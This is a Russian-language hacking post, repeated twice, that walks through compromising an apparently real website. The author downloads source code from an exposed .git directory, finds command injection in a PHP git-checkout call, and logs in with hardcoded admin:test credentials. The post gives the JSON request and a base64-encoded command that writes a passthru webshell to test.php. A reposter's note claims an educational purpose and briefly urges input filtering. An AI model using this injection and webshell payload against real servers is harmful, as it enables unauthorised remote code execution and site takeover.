Нашли opengit
В корневой директории сайта был git. Это означает любой желающий может выгрузить исходный код сайта за исключением .gitignore
Нашли 4 файлика на пыхе. Необходимо проверить их на наличие опасный функций с помощью которы можно проэксплуатировать RCE или залить шелл.
move_uploaded_files, exec, passthru, system, proc_open
Нас интересует только вызов происходит в функции executeCommand() и в качестве выполняемой системной команды используется переданный аргумент $command в эту функцию, все что идет после proc_open похуй главное что нет никаких проверок для выполняемой команды, окей, если вы еще не поняли наша цель каким то возможным способом передать в эту функцию нашу команду в качестве аргумента чтобы она выполнилась и загрузила на сайт вебшелл для дальнейших действий, давайте глянем где вызываеться функция executeCommand и возможно ли передать в нее наш аргумент:
как видно на скринах выше функция executeCommand вызываеться в двух местах в коде а точнее в двух других функциях setBranchlist и getBranchlist
Можно обратить внимание что функция getBranchlist бесполезна так как она передает в executeCommand свою команду которую нужно выполнить не вставляя в эту команду какой либо user input а это то шо мы и пытаемся найти
Но вот с функцией setBranchlist дела обстоят по другому, она вставляет в системную команду какой то параметр $name и никаким образом его не фильтрует собственно если мы можем контролировать этот параметр то мы сможем добавить свой код в команду которую которую выполнит система и получим RCE, давайте глянем где вызываеца функция setBranchlist и что передается в качестве аргумента $name так нужного нам:
Как видно на скрине вызываеца эта функцыя на 85й строке и в качестве аргумента какой мы должны контролить в нее передаеца data->branch
Если внимательно взглянуть чють выше на скрин можно увидеть шо переменная data береца из пользовательского ввода тоесть нашего ввода, а это значит шо мы б**ть нахуй ебать можем контролировать аргумент $name для функции setBranchlist который в свою очередь передаеца в функцию executeCommand и позволяет нам выполнить код на сервере, ЗАЕБИСЬ! но если вы могли заметить есть еще пару условий какие нужно соблюдать
Во первых для тово шоб вызвалась именно функция setBranchlist нужно так же в переменной data передать ключ cmd значение которого должно быть равно "change" и сами данные которые мы передаем должны быть в json формате, тоесть для того что бы выполнить код мы должны передать в запросе вот такой json:
окей не проблема, но есть еще одно НО, мы находимся аж на 85й строке до нее еще дойти надо как то, сверху может быть еще куча проверок к примеру авторизация, и как не странно единственная проверка сверху это проверка авторизации, но к счастью тот кто это делал самый настоящий ебанушка и он оставил логин и пароль прямо в коде, давайте ознакомимся с проверкой авторизации которая отделяет нас от выполнения нашего кода на сервере:
Как видите все просто, логин и пароль admin:test но вот передаваца они должны в каких то $_SERVER['PHP_AUTH_USER'] и $_SERVER['PHP_AUTH_PW'] не очень похоже на привычьный $_GET или $_POST, но тут все просто на самом деле, два вышеописанных значения можно выставить если зайти на страничку с использованием обычьной HTTP BASIC аутентификации, эти поля автоматически заполняца значением логина и пароля которые вы передали в хттп аутентификации подробнее можете загуглить если не понятно
Таким образом есть 3 условия которые мы должны соблюдать:
3. Правильно сформированный код в branch что бы он выполнился без ошибок
Первые 2 условия мы уже решили осталось последнее, итак давайте взглянем на команду в какую мы вставляем наш код:
напомню, мы контролируем переменную $name, собственно если мы хотим вставить в нее команду она должна начинатся с символа ; для того что бы завершить предыдущую команду и после этого мы спокойно можем выполнить все шо захотим в моем случае это загрузка костыля или минимальстичного шелла для удобного выполнения системных команд, выглядит мой код так:
после выполнения данной команды на сервере создасца файл test.php при обращении к которому он будет выполнять любую команду которую мы передали в GET аргументе cmd, это сделано для образовательных целей да и таргет хуета ебаная категорически не рекомендую так делать а тем более оставлять такой файл на показ если вы крутите норм таргет хотя вы бы тогда не читали эту стотью
Ну и вот скрин с берпа как должен выглядеть окончятельный запрос:
student: Автор данной статьи не я, а какой человек с Украины. Я лишь решил выложить в образовательных целях материал, чтобы вам стало понятнее почему происходят утечки. Нельзя оставлять исходный код сайта доступным для всех, особенно если там говнокод. Юзеринпут необходимо фильтровать и писать код безопасно, не используя опасные функции вызвав которые можно выполнять системные команды или же залить шелл, получить обратную оболочку)
Не удалось прогрузить медиа
В корневой директории сайта был git. Это означает любой желающий может выгрузить исходный код сайта за исключением .gitignore
Не удалось прогрузить медиа
Нашли 4 файлика на пыхе. Необходимо проверить их на наличие опасный функций с помощью которы можно проэксплуатировать RCE или залить шелл.
move_uploaded_files, exec, passthru, system, proc_open
Не удалось прогрузить медиа
Нас интересует только вызов происходит в функции executeCommand() и в качестве выполняемой системной команды используется переданный аргумент $command в эту функцию, все что идет после proc_open похуй главное что нет никаких проверок для выполняемой команды, окей, если вы еще не поняли наша цель каким то возможным способом передать в эту функцию нашу команду в качестве аргумента чтобы она выполнилась и загрузила на сайт вебшелл для дальнейших действий, давайте глянем где вызываеться функция executeCommand и возможно ли передать в нее наш аргумент:
Не удалось прогрузить медиа
Не удалось прогрузить медиа
как видно на скринах выше функция executeCommand вызываеться в двух местах в коде а точнее в двух других функциях setBranchlist и getBranchlist
Можно обратить внимание что функция getBranchlist бесполезна так как она передает в executeCommand свою команду которую нужно выполнить не вставляя в эту команду какой либо user input а это то шо мы и пытаемся найти
Но вот с функцией setBranchlist дела обстоят по другому, она вставляет в системную команду какой то параметр $name и никаким образом его не фильтрует собственно если мы можем контролировать этот параметр то мы сможем добавить свой код в команду которую которую выполнит система и получим RCE, давайте глянем где вызываеца функция setBranchlist и что передается в качестве аргумента $name так нужного нам:
Не удалось прогрузить медиа
Как видно на скрине вызываеца эта функцыя на 85й строке и в качестве аргумента какой мы должны контролить в нее передаеца data->branch
Если внимательно взглянуть чють выше на скрин можно увидеть шо переменная data береца из пользовательского ввода тоесть нашего ввода, а это значит шо мы б**ть нахуй ебать можем контролировать аргумент $name для функции setBranchlist который в свою очередь передаеца в функцию executeCommand и позволяет нам выполнить код на сервере, ЗАЕБИСЬ! но если вы могли заметить есть еще пару условий какие нужно соблюдать
Во первых для тово шоб вызвалась именно функция setBranchlist нужно так же в переменной data передать ключ cmd значение которого должно быть равно "change" и сами данные которые мы передаем должны быть в json формате, тоесть для того что бы выполнить код мы должны передать в запросе вот такой json:
Code:
{
"cmd": "change",
"branch": "code to execute"
}
окей не проблема, но есть еще одно НО, мы находимся аж на 85й строке до нее еще дойти надо как то, сверху может быть еще куча проверок к примеру авторизация, и как не странно единственная проверка сверху это проверка авторизации, но к счастью тот кто это делал самый настоящий ебанушка и он оставил логин и пароль прямо в коде, давайте ознакомимся с проверкой авторизации которая отделяет нас от выполнения нашего кода на сервере:
Не удалось прогрузить медиа
Как видите все просто, логин и пароль admin:test но вот передаваца они должны в каких то $_SERVER['PHP_AUTH_USER'] и $_SERVER['PHP_AUTH_PW'] не очень похоже на привычьный $_GET или $_POST, но тут все просто на самом деле, два вышеописанных значения можно выставить если зайти на страничку с использованием обычьной HTTP BASIC аутентификации, эти поля автоматически заполняца значением логина и пароля которые вы передали в хттп аутентификации подробнее можете загуглить если не понятно
Таким образом есть 3 условия которые мы должны соблюдать:
- HTTP BASIC AUTH с логином admin и паролем test
3. Правильно сформированный код в branch что бы он выполнился без ошибок
Первые 2 условия мы уже решили осталось последнее, итак давайте взглянем на команду в какую мы вставляем наш код:
$result = executeCommand("cd ".GIT_PATH.";git checkout $name");напомню, мы контролируем переменную $name, собственно если мы хотим вставить в нее команду она должна начинатся с символа ; для того что бы завершить предыдущую команду и после этого мы спокойно можем выполнить все шо захотим в моем случае это загрузка костыля или минимальстичного шелла для удобного выполнения системных команд, выглядит мой код так:
;echo 'PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTsgPz4K' | base64 -d > test.phpпосле выполнения данной команды на сервере создасца файл test.php при обращении к которому он будет выполнять любую команду которую мы передали в GET аргументе cmd, это сделано для образовательных целей да и таргет хуета ебаная категорически не рекомендую так делать а тем более оставлять такой файл на показ если вы крутите норм таргет хотя вы бы тогда не читали эту стотью
Ну и вот скрин с берпа как должен выглядеть окончятельный запрос:
Не удалось прогрузить медиа
student: Автор данной статьи не я, а какой человек с Украины. Я лишь решил выложить в образовательных целях материал, чтобы вам стало понятнее почему происходят утечки. Нельзя оставлять исходный код сайта доступным для всех, особенно если там говнокод. Юзеринпут необходимо фильтровать и писать код безопасно, не используя опасные функции вызвав которые можно выполнять системные команды или же залить шелл, получить обратную оболочку)
👍16
❤️3
😁3
😢4
LIMB